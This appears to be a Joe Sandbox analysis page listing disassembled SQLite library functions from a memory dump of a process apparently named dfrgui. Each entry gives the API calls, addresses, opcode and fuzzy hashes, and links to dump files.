Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmp$sqlite3_freesqlite3_initializesqlite3_logsqlite3_malloc64sqlite3_realloc64
String ID:
API String ID: 885863977-3916222277
Opcode ID: dda9503678de94509c5c38f57b5ad9e5488ca0b0573e3c3a67e44570088a135d
Instruction ID: 3346f4716d74fb0cdd67f874f3c1e281c882292da2773af4ec15545e1d314216
Opcode Fuzzy Hash: dda9503678de94509c5c38f57b5ad9e5488ca0b0573e3c3a67e44570088a135d
Instruction Fuzzy Hash: 4EE113B0A042698FDB14CFA9C984B8DBBF1BF88308F218569D858EB355EB74D845CF40

Function 61E2393B Relevance: 9.1, APIs: 6, Instructions: 72COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E2395D
sqlite3_value_text.SQLITE3 ref: 61E2396B
sqlite3_value_bytes.SQLITE3 ref: 61E23978
sqlite3_value_text.SQLITE3 ref: 61E239A6
sqlite3_result_error.SQLITE3 ref: 61E239D0
sqlite3_result_int.SQLITE3 ref: 61E23A10

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_result_errorsqlite3_result_intsqlite3_value_bytes
String ID:
API String ID: 4226599549-0
Opcode ID: f34950e5684de05c4a9c613b92284f6556da9bb16a9891f387af4bc58c7132b0
Instruction ID: ce9ac5e355f34b09ed8fa23b65482c80916be78f7215440a1a91a7115ab24374
Opcode Fuzzy Hash: f34950e5684de05c4a9c613b92284f6556da9bb16a9891f387af4bc58c7132b0
Instruction Fuzzy Hash: CE21F5B49046499BCB00DFA9C594A59BBF1AF89364F28C92DE8E89B391D734D841CF11

Function 61E36ED9 Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E36EF0
sqlite3_result_error.SQLITE3 ref: 61E36F1F
sqlite3_value_text.SQLITE3 ref: 61E36F34
sqlite3_load_extension.SQLITE3 ref: 61E36F4F
sqlite3_result_error.SQLITE3 ref: 61E36F6A
sqlite3_free.SQLITE3 ref: 61E36F75

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_errorsqlite3_value_text$sqlite3_freesqlite3_load_extension
String ID:
API String ID: 356667613-0
Opcode ID: ad0683b6295e250cb46dcb025d47c20a46f76eb2573b1f033c7a54ed45ce1532
Instruction ID: edf52a69823497749dee90875158762befd838aa40fbb6e8149444cc7cd020d5
Opcode Fuzzy Hash: ad0683b6295e250cb46dcb025d47c20a46f76eb2573b1f033c7a54ed45ce1532
Instruction Fuzzy Hash: C21126B49087569BCB00EF69C48465EFBF0AF88364F61CA2DE8A88B350D334D582CF51

Function 61E37BB9 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_mprintf.SQLITE3 ref: 61E37D69
sqlite3_free.SQLITE3 ref: 61E37D95

Part of subcall function 61E37B5F: sqlite3_vmprintf.SQLITE3 ref: 61E37B78
Part of subcall function 61E37B5F: sqlite3_mprintf.SQLITE3 ref: 61E37B96
Part of subcall function 61E37B5F: sqlite3_free.SQLITE3 ref: 61E37BA2
Part of subcall function 61E37B5F: sqlite3_free.SQLITE3 ref: 61E37BAA

Strings

~a, xrefs: 61E37C48
AND, xrefs: 61E37D45
NOT, xrefs: 61E37D4F

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mprintf$sqlite3_vmprintf
String ID: AND$NOT$~a
API String ID: 966554101-3338164367
Opcode ID: 8457b840c5e30f2bcc46fc909dcb419386340dda47e2d6a82a0d99fc5ead30bf
Instruction ID: 0c423f2f4f220a55a9d1a73cc7ff7bfeee3a5b35033407a386e05654d73c6614
Opcode Fuzzy Hash: 8457b840c5e30f2bcc46fc909dcb419386340dda47e2d6a82a0d99fc5ead30bf
Instruction Fuzzy Hash: 695105B0A08762CFD7089FA5C58122EBAF6AFC9314F71C82DD59A97340D734D882CB52

Function 61E2DC00 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E2DC1C
sqlite3_value_text.SQLITE3 ref: 61E2DC29
sqlite3_value_text.SQLITE3 ref: 61E2DC37
sqlite3_result_text.SQLITE3 ref: 61E2DCD2

Strings

i, xrefs: 61E2DC65

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_result_text
String ID: i
API String ID: 380805339-3865851505
Opcode ID: 3f8c21a014e1d3191214186bdf6f9068606b952b5e1766168ea8120f87a1c318
Instruction ID: 9d9a3c4c9a607eb7f60e688532be97193aaec2ed4b7373994836bc1b93cf1d89
Opcode Fuzzy Hash: 3f8c21a014e1d3191214186bdf6f9068606b952b5e1766168ea8120f87a1c318
Instruction Fuzzy Hash: 0F41B2B9A046459BCB00DFA9D99069EBBF5BF88614F20C92EE8A8D7350E774D841CF41

Function 61E0B8A6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

sqlite3_strglob.SQLITE3 ref: 61E0B90C
sqlite3_strglob.SQLITE3 ref: 61E0B926
sqlite3_strglob.SQLITE3 ref: 61E0B94E

Strings

, xrefs: 61E0B8ED
, xrefs: 61E0B963

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_strglob
String ID: $
API String ID: 476814121-227171996
Opcode ID: b7f35c805358c5739c1b5e582caabc19c2a4dceb96950092a4ef3edac0a04fb5
Instruction ID: 52d53fc23315dfb26c0c94d4ab4e367c938fedb79b90a6d50123b424f2ba3027
Opcode Fuzzy Hash: b7f35c805358c5739c1b5e582caabc19c2a4dceb96950092a4ef3edac0a04fb5
Instruction Fuzzy Hash: 3D21273880838389DB118B7AC8C034AFEE4BF46319F78C46DC5959A6A1E330D551C752

Function 61E1976C Relevance: 7.7, APIs: 5, Instructions: 212COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E197C4
sqlite3_malloc.SQLITE3 ref: 61E1985A
sqlite3_free.SQLITE3 ref: 61E1978B

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

sqlite3_free.SQLITE3 ref: 61E199E9

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mallocsqlite3_mutex_enter
String ID:
API String ID: 165182205-0
Opcode ID: 35961690698bec3b02c1477585319b43b194ea75ce560f06e5998328755cbec5
Instruction ID: b1ef7e8860b0ed4c9317605a847a43c6f525a1dbc4fc1a0efdd224f6ed557e22
Opcode Fuzzy Hash: 35961690698bec3b02c1477585319b43b194ea75ce560f06e5998328755cbec5
Instruction Fuzzy Hash: 3DA1B175D08259CBCB14CFA9D480ADDFBF1BF88314F25852AE859AB348E774A945CF80

Function 61E053DB Relevance: 7.7, APIs: 5, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_strnicmp.SQLITE3 ref: 61E05555
sqlite3_strnicmp.SQLITE3 ref: 61E0557C
sqlite3_strnicmp.SQLITE3 ref: 61E055BC
sqlite3_strnicmp.SQLITE3 ref: 61E055E6
sqlite3_strnicmp.SQLITE3 ref: 61E0560F

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_strnicmp
String ID:
API String ID: 1961171630-0
Opcode ID: 9930e27b79f754936161969b3d2a0867470f4c6e3c4f318c034062284ae77bb8
Instruction ID: 12da7b59be2f03f68c1b708de1f6d14bb4f0c2de1b38390946f127f53e118ade
Opcode Fuzzy Hash: 9930e27b79f754936161969b3d2a0867470f4c6e3c4f318c034062284ae77bb8
Instruction Fuzzy Hash: 1F51276150974189E7204E94B8823E97FA39F4330FF79D84AC4A587392C27BC0BB8B53

Function 61E5144A Relevance: 7.7, APIs: 5, Instructions: 157COMMON

Download Yara Rule

APIs

sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,61E516F5), ref: 61E51473
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,61E516F5), ref: 61E51600
sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,61E516F5), ref: 61E51612
sqlite3_free.SQLITE3 ref: 61E51629
sqlite3_free.SQLITE3 ref: 61E51631

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_mutex_leave$sqlite3_mutex_free
String ID:
API String ID: 2921195555-0
Opcode ID: 31254bff72f6fa10f92931e263e11ff6af3a8aa7e10360f125ecaeba1497c9d7
Instruction ID: 82f435f554425c3e8259f5f38198153c6c986d6876c72bf9f9390af6ea1f9c48
Opcode Fuzzy Hash: 31254bff72f6fa10f92931e263e11ff6af3a8aa7e10360f125ecaeba1497c9d7
Instruction Fuzzy Hash: 43519E74A046428BDB50DFA9C8C064AB7B1BF84318F29C57CCC699F305D739E866CB91

Function 61E36F82 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

sqlite3_realloc64.SQLITE3 ref: 61E36FC6
sqlite3_mprintf.SQLITE3 ref: 61E36FF9
sqlite3_free.SQLITE3 ref: 61E37025
sqlite3_mprintf.SQLITE3 ref: 61E37031
sqlite3_malloc64.SQLITE3 ref: 61E37075

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mprintf$sqlite3_freesqlite3_malloc64sqlite3_realloc64
String ID:
API String ID: 4073198082-0
Opcode ID: 5a29ff30149f8057225786bd77eed4391416a7d579fc6a7b6fb904446722af83
Instruction ID: 57fcdb8157e532e05b303cabae7a666bb47ce731d7bc4c790d45638caaf0613a
Opcode Fuzzy Hash: 5a29ff30149f8057225786bd77eed4391416a7d579fc6a7b6fb904446722af83
Instruction Fuzzy Hash: B84156B4A04265CFDB04CF68C48465ABBE1FF88314F28C868E8558F349E735E991CFA1

Function 61E343AA Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

sqlite3_result_null.SQLITE3 ref: 61E343CC
sqlite3_result_int.SQLITE3 ref: 61E343EB
sqlite3_result_int64.SQLITE3 ref: 61E344A0
sqlite3_result_double.SQLITE3 ref: 61E344D4
sqlite3_malloc.SQLITE3 ref: 61E34511
sqlite3_result_text.SQLITE3 ref: 61E345BA

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mallocsqlite3_result_doublesqlite3_result_intsqlite3_result_int64sqlite3_result_nullsqlite3_result_text
String ID:
API String ID: 402655203-0
Opcode ID: a811b6409f0759cf6997d57d43276ad95d41844afc37b0f1161771124385239c
Instruction ID: 6a0758c42ae1e604339376f4f8d53179b7bebac114f3208adbf90a060df19d49
Opcode Fuzzy Hash: a811b6409f0759cf6997d57d43276ad95d41844afc37b0f1161771124385239c
Instruction Fuzzy Hash: 15412AB49092A59ACB10DFA8C19469DBBF1ABC9318F25C56ED494AB345C37AC841CB12

Function 61E370BE Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

sqlite3_value_int.SQLITE3 ref: 61E370F0
sqlite3_mprintf.SQLITE3 ref: 61E371AB
sqlite3_result_error_nomem.SQLITE3 ref: 61E371B9
sqlite3_free.SQLITE3 ref: 61E371DB
sqlite3_result_double.SQLITE3 ref: 61E371EA

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_doublesqlite3_result_error_nomemsqlite3_value_int
String ID:
API String ID: 2195261611-0
Opcode ID: 491c61b412f44c0cc50fa84f04fc76056ad300c4c8d9c33b3b478ed49b724a0e
Instruction ID: ab4421ae32dba9cce53739a684db029bfce24d089a98a5a2ebcfe30a01e2949d
Opcode Fuzzy Hash: 491c61b412f44c0cc50fa84f04fc76056ad300c4c8d9c33b3b478ed49b724a0e
Instruction Fuzzy Hash: A931BDB2E0966ADADF016F91C8805DEBBF1FFC9348F248849D88166315E735CC95CB82

Function 61E51338 Relevance: 7.6, APIs: 5, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 61E12E95: sqlite3_mutex_try.SQLITE3(?,?,?,61E12F15), ref: 61E12E35

sqlite3_mutex_enter.SQLITE3 ref: 61E5139C
sqlite3_mutex_free.SQLITE3 ref: 61E513DD
sqlite3_mutex_leave.SQLITE3 ref: 61E513ED
sqlite3_free.SQLITE3 ref: 61E5141C
sqlite3_free.SQLITE3 ref: 61E5143B

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_entersqlite3_mutex_freesqlite3_mutex_leavesqlite3_mutex_try
String ID:
API String ID: 1894464702-0
Opcode ID: d730244c004e27410129d2a99dea69833ec46062e049426a58814ce139e51318
Instruction ID: a6a79ba0ec26040724096cfa0f888bfc99a47bf25a91c01ac0ebd080d00544cc
Opcode Fuzzy Hash: d730244c004e27410129d2a99dea69833ec46062e049426a58814ce139e51318
Instruction Fuzzy Hash: 43315E307046428BDB54EFEAC4C0A1ABBF5BF85308B75C56DD9458B706E732D892CB81

Function 61E1CD4C Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E1CD5C

Part of subcall function 61E1810B: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17DE4,?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E18113

memcmp.MSVCRT ref: 61E1CDCE
memcmp.MSVCRT ref: 61E1CDF3
memcmp.MSVCRT ref: 61E1CE24
memcmp.MSVCRT ref: 61E1CE50

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: memcmp$sqlite3_initializesqlite3_malloc
String ID:
API String ID: 40721531-0
Opcode ID: 94d80959e6858ee27ba57683b241251a90d8af0ee47696ff4ed14421864d2aab
Instruction ID: f44cadb88f58c187159c93ae848d07c0bf28b65487fcbd2bbb19f5dee5dd872c
Opcode Fuzzy Hash: 94d80959e6858ee27ba57683b241251a90d8af0ee47696ff4ed14421864d2aab
Instruction Fuzzy Hash: 80315271B0C3019BE7009F69C58176ABBE5EFC5348F25C42DE849CB398D779D4868B82

Function 61E29103 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 61E29131
sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,61E29241), ref: 61E29145
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,61E29241), ref: 61E2916D
sqlite3_log.SQLITE3 ref: 61E2918B
sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,61E29241), ref: 61E291C1

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

